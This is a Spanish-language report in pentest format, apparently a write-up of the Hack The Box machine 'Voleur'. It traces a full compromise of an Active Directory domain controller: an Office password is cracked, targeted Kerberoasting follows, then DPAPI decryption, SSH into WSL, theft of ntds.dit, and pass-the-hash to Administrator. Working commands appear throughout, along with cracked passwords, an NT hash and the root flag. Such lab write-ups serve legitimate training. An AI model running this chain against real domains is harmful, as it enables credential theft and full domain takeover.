

EVALUACIÓN DE SEGURIDAD OFENSIVA – PROYECTO VOLEUR (ENTORNO HÍBRIDO / DPAPI / WSL)

1. Cabecera Formal y Clasificación

Parámetro	Detalle
ID del Proyecto	SEC-RPT-AD-VOLEUR-2025
Clasificación	TLP:CLEAR / Pública
Cliente / Entorno	Bosque Active Directory VOLEUR.HTB
Activo(s) en Alcance	dc.voleur.htb (10.129.232.130)
Tipo de Evaluación	Prueba de Penetración Interna / Auditoría en Arquitecturas Híbridas (Windows / WSL)
Estado	Compromiso Crítico Validado / Exfiltración Completa de NTDS.dit

2. Resumen Ejecutivo

La evaluación técnica ejecutada sobre el controlador de dominio dc.voleur.htb demostró una severa exposición originada por el despliegue indebido de tecnologías de interoperabilidad (Windows Subsystem for Linux - WSL) en un activo de infraestructura de Nivel 0 (Tier-0), combinado con la exposición de respaldos sin cifrar.

A través de credenciales descubiertas en un documento ofimático protegido con una contraseña débil, se ejecutó un ataque de TargetedKerberoasting sobre svc_winrm. Desde esta posición, se restauraron cuentas de usuario dadas de baja en Active Directory, se descifraron almacenes protegidos por DPAPI y se comprometió el entorno WSL expuesto en el puerto TCP 2222. Desde el subsistema Linux, se obtuvo acceso directo al sistema de archivos NTFS subyacente (/mnt/c), permitiendo sustraer la base de datos ntds.dit y los registros del sistema, logrando el compromiso integral de todas las identidades del bosque.

3. Matriz de Hallazgos y Afección

Vulnerabilidad / Hallazgo	Criticidad	CVSS v3.1	OWASP / CWE	Mapeo MITRE ATT&CK
Exposición de NTDS.dit en Rutas de Respaldo Inseguras	Crítica	9.8	CWE-552 / OWASP	T1003.003 - OS Credential Dumping:

			A01:2021	NTDS
Almacenamiento y Recuperación Insegura de Secretos DPAPI	Alta	7.5	CWE-522 / OWASP A02:2021	T1555 - Credentials from Password Stores
Abuso de Permisos de Escritura sobre SPN (TargetedKerberoast)	Alta	7.5	CWE-732 / OWASP A01:2021	T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting
Despliegue Inseguro de Subsistema WSL en Tier-0	Alta	7.2	CWE-250 / OWASP A05:2021	T1202 - Indirect Command Execution

4. Detalle Técnico y Pruebas de Concepto (PoC)

4.1. Desprotección Ofimática y TargetedKerberoast

Haciendo uso de la cuenta ryan.naylor, se exploró el recurso compartido IT, extrayendo el documento protegido Access_Review.xlsx. Se procesó el hash de cifrado mediante office2john y se quebró con john:

```
office2john Access_Review.xlsx > hash_excel.txt
john hash_excel.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Clave descifrada: football1
```

El documento exponía las credenciales de la cuenta svc_ldap:M1XyC9pW7qT5Vn. El análisis relacional de permisos en BloodHound constató que svc_ldap disponía de facultades WriteSPN sobre la cuenta de servicio svc_winrm. Se solicitó un ticket Kerberos TGT para svc_ldap y se forzó el ataque de TargetedKerberoasting:

```
impacket-getTGT 'VOLEUR.HTB/svc_ldap':'M1XyC9pW7qT5Vn' -dc-ip 10.129.232.130
export KRB5CCNAME=svc_ldap.ccache
python3 targetedKerberoast.py -k --dc-host dc.voleur.htb -d VOLEUR.HTB >
kerberoast.hashes
```

Se quebró el ticket TGS extraído, recuperando la clave en texto claro de svc_winrm:

```
john kerberoast.hashes --wordlist=/usr/share/wordlists/rockyou.txt
# Credencial obtenida: AFireInsidedeOzarctica980219afi
```

- **Impacto Técnico:** Compromiso de la cuenta de administración de servicios e inicio de sesión remoto en el sistema operativo.

- **Remediación & Hardening:** Asignar contraseñas complejas no computables (más de 25 caracteres) a cuentas con SPN registrado y auditar asignaciones de WriteSPN a cuentas estándar.
-

4.2. Recuperación en Papelera de AD, Descifrado DPAPI y Acceso SSH a WSL

Utilizando bloodyAD, la cuenta svc_ldap restauró al usuario desvinculado todd.wolfe desde la papelera de reciclaje:

```
python3 bloodyAD.py --host dc.voleur.htb -d voleur.htb -u 'svc_ldap' -p 'M1XyC9pW7qT5Vn' -k set restore 'todd.wolfe'
```

En el perfil archivado de dicho usuario dentro del recurso compartido IT, se recuperaron los blobs criptográficos de DPAPI y la llave maestra. Utilizando la contraseña conocida del usuario (NightT1meP1dg3on14) y su SID, se descifró el almacén:

```
impacket-dpapi masterkey --file 08949382-134f-4c63-b93c-ce52efc0aa88 -password 'NightT1meP1dg3on14' -sid S-1-5-21-3927696377-1337352550-2781715495-1110
impacket-dpapi credential --file 772275FAD58525253490A9B0039791D3 --key <DecryptedMasterKey>
# Credencial revelada: jeremy.combs : qT3V9pLXyN7W4m
```

Validando este acceso, se descubrió una clave privada SSH (id_rsa) asignada a svc_backup. El controlador de dominio mantenía expuesto el puerto TCP 2222 correspondiente al Subsistema de Windows para Linux (WSL, Ubuntu 20.04):

```
chmod 600 id_rsa
ssh -i id_rsa -p 2222 svc_backup@dc.voleur.htb
```

- **Impacto Técnico:** Acceso interactivo por consola a un subsistema Linux residente dentro del Controlador de Dominio.
 - **Remediación & Hardening:** Depurar y revocar completamente los perfiles e identidades dadas de baja en Active Directory y prohibir el alojamiento de claves privadas SSH sin frase de paso en directorios compartidos.
-

4.3. Exfiltración de NTDS.dit vía Punto de Montaje NTFS y Compromiso Total

Desde la sesión en WSL, se identificó que el sistema de archivos del host Windows se encontraba montado bajo /mnt/c. En el directorio de respaldos desprotegidos se localizaban copias vivas de la base de datos de Active Directory y las colmenas del registro:

```
scp -i id_rsa -P 2222 "svc_backup@dc.voleur.htb:/mnt/c/IT/Third-Line
Support/Backups/Active Directory/ntds.dit" ./ntds.dit
scp -i id_rsa -P 2222 "svc_backup@dc.voleur.htb:/mnt/c/IT/Third-Line
Support/Backups/registry/SYSTEM" ./SYSTEM
scp -i id_rsa -P 2222 "svc_backup@dc.voleur.htb:/mnt/c/IT/Third-Line
Support/Backups/registry/SECURITY" ./SECURITY
```

Se procedió a la extracción de hashes fuera de línea mediante secretsdump.py:

```
secretsdump.py LOCAL -system SYSTEM -security SECURITY -ntds ntds.dit
#
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160
b259ad2:::
```

Validación y acceso como superusuario del dominio:

```
getTGT.py voleur.htb/Administrator -hashes :e656e07c56d831611b577b160b259ad2
-dc-ip 10.129.232.130
export KRB5CCNAME=Administrator.ccache
evil-winrm -i dc.voleur.htb -u 'administrator' -r voleur.htb
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
1919fcff97234f1aa76cae9457f315e8
```

- **Impacto Técnico:** Extracción total de la base de datos de credenciales del bosque y compromiso definitivo de todas las cuentas corporativas.
- **Remediación & Hardening:**
 1. Desinstalar entornos de virtualización anidados o subsistemas (WSL) en servidores Controladores de Dominio.
 2. Implementar cifrado en reposo para copias de seguridad de Active Directory y restringir el acceso a unidades compartidas.